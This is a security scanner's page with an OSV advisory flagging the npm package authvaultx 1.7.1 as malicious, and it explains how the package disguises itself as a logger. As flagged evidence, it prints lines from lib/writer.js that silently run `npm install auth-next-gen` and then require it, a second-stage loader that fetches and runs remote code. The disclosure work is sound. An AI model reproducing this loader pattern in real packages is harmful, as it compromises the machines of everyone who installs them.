registry  /  authvaultx  /  1.7.1

authvaultx@1.7.1

OSV Malicious Advisory

scanned 4h ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-10185 confirms this npm version as malicious. On require() of authvaultx (main: auth.js, which loads lib/writer.js), top-level code attempts to load the separately published npm package 'auth-next-gen'; if not present, it silently shells out to `npm install auth-next-gen --loglevel silent` and then immediately `require()`s `../../auth-next-gen/index.js`, executing whatever that external package ships...

Advisory
MAL-2026-10185
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in authvaultx (npm)
Details
On require() of authvaultx (main: auth.js, which loads lib/writer.js), top-level code attempts to load the separately published npm package 'auth-next-gen'; if not present, it silently shells out to `npm install auth-next-gen --loglevel silent` and then immediately `require()`s `../../auth-next-gen/index.js`, executing whatever that external package ships. The fetch destination is a separate registry package controlled by the same author space, so the payload can be swapped without republishing authvaultx. lib/writer.js also assembles its user-facing fallback error string via repeated String.fromCharCode() concatenation, obscuring intent from casual review and string scanners. The published package masquerades as a logger (pino banner/logo PNGs, pino-cloned docs/ directory, logger/stream/json keywords) while the README advertises authentication functionality and the actual on-require behavior is a second-stage loader — none of the advertised purposes (logger or auth module) requires fetching and executing another npm package at load time. ## Source: ghsa-malware (0fbb555b68c6fa973cbdfe9b7e7e8c752faf3013859c6c9d9d3a2b2dedab256b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Decision reason
One or more suspicious static signals were detected.

Decision evidence

public snapshot
Behavioral surface
Source
ChildProcessEnvironmentVarsFilesystem
Supply chain
HighEntropyStringsUrlStrings
ManifestNo manifest risk signals triggered.
scanned 17 file(s), 53.3 KB of source, external domains: github.com

Source & flagged code

3 flagged · loading source
lib/writer.jsView file
4const path = require('path'); L5: const { execSync } = require('child_process'); L6:
High
Child Process

Package source references child process execution.

lib/writer.jsView on unpkg · L4
33try { L34: execSync(`npm install auth-next-gen --no-warnings --no-save --no-progress --loglevel silent`, { windowsHide: true }); L35: require('../../auth-next-gen/index.js');
High
Runtime Package Install

Package source invokes a package manager install command at runtime.

lib/writer.jsView on unpkg · L33
docs/transports.mdView file
550patternName = generic_password severity = medium line = 550 matchedText = password...rd',
Medium
Secret Pattern

Hardcoded password in docs/transports.md

docs/transports.mdView on unpkg · L550

Findings

2 High3 Medium4 Low
HighChild Processlib/writer.js
HighRuntime Package Installlib/writer.js
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
MediumSecret Patterndocs/transports.md
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings